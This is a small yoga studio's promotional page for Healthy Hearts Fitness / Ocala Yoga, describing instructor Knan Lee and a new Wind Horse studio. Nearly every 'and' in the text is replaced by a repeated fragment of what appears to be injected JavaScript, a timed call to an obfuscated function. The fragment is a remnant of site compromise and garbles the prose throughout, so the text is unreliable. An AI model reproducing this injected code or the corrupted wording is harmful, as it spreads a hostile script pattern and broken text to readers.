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Yoga is the gift you give yourself that keeps on giving.
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Yoga is the gift you give yourself that keeps on giving.
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Yoga is the gift you give yourself that keeps on giving.
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Would you like to enjoy improved mental health andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and physical well-being plus enjoy yourself as you increase flexibility, balance, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and strength?

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If you answered a resounding YES! then Healthy Hearts Fitness / Ocala Yoga is exactly what you need. And now you can enjoy more opportunities at our new addition, Wind Horse Yoga Institute.

Healthy Hearts Fitness / Ocala Yoga focuses on healthy solutions for ‘Baby Boomers‘, so-called Seniors andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Everyone who wants to improve their overall fitness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and health. Concentrating on improving quality of life andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and increasing strength, overall flexibility andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and balance while enjoying the process andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and having fun doing it is the primary goal. Let Knan (pronounced ‘nan’) design an individual yoga based fitness program that will guide you to more healthful living.

About Knan Lee

Knan Lee, M.Ed.,E-RYT-500 is recognized by Yoga Alliance andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is a member of the International Association of Yoga Therapists. She is also a Certified Personal Fitness Trainer capable of prescribing an individualized fitness program to meet your specific health issues.

Knan has studied andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and practiced yoga since 1978 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and will share her knowledge andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and provide guidance in establishing your yoga practice.

Knan can also assist you in goal setting andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and coach you towards life changing goals that may have thus far been elusive. Through her motivational andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and energetic guidance she will assist in making your fitness dream goals into reality.

New Studio Space at Wind Horse

Emb_Windhorse[1]Knan Lee ( dba, Healthy Hearts Fitness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and OcalaYoga.com) has answered the requests of her students andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and having outgrown the yoga studio in her Log home is now offering her students a beautiful new facility on the south west corner of her 10 acres. In addition to Private lessons, Knan can now offer classes. After much consideration the new studio has been named WIND HORSE

after the Tibetan Buddhist belief the Wind Horse (Lung-ta) who brings peace, luck andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and good fortune. It is believed that the Wind Horse can also take a self-centered individual andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and bring him to look inward andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and grow spiritually. This name was chosen because it combines Knan’s connection with the equestrian spirit andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and her desire to continue to grow as an individual.

Soon a Labyrinth will be added on the grounds at Wind Horse to encourage our students to enjoy walking meditation/reflection before or after class in our beautiful quiet surroundings.

e-mail Knan Now! knan@cfl.rr.com